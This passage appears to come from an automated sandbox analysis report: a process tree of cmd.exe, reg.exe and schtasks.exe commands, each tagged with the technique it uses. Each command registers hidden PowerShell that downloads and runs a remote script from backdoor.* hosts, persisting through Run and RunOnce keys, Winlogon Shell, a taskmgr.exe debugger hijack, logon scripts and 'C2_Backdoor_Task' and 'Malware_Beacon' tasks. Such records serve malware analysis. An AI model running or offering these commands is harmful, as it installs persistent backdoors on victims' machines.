                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                        • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                        PID:6680
                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:8020
                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                          PID:2424
                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:860
                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                                                            PID:3604
                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:5792
                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                              • Modifies WinLogon for persistence
                                                                                                                                                                                                                              PID:4436
                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:4772
                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                PID:8052
                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:6884
                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                  • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                  PID:6512
                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:5732
                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                    • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                    PID:5924
                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                  PID:3300
                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                    • Modifies WinLogon for persistence
                                                                                                                                                                                                                                    PID:5220
                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:8136
                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                      • Modifies WinLogon for persistence
                                                                                                                                                                                                                                      PID:176
                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:3872
                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                        PID:2784
                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:4652
                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                          PID:4872
                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:6664
                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                            • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                            PID:7320
                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:6648
                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                              PID:6644
                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:7484
                                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                PID:7720
                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                              PID:852
                                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                PID:7832
                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                              PID:3804
                                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                PID:3104
                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:6236
                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                  PID:7288
                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:2596
                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                    PID:5836
                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:1196
                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                                                                      PID:5576
                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:6216
                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                        • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                                        PID:4144
                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:1256
                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                          • Modifies WinLogon for persistence
                                                                                                                                                                                                                                                          PID:5900
                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                        PID:6008
                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                                          PID:4324
                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:7524
                                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                            PID:7096
                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:1572
                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                              PID:4036
                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:548
                                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                                                                PID:6284
                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:976
                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                    PID:7908
                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                  PID:7580
                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                    PID:4948
                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:5112
                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                                                                                      PID:5144
                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                    PID:7216
                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                                                      PID:6960
                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
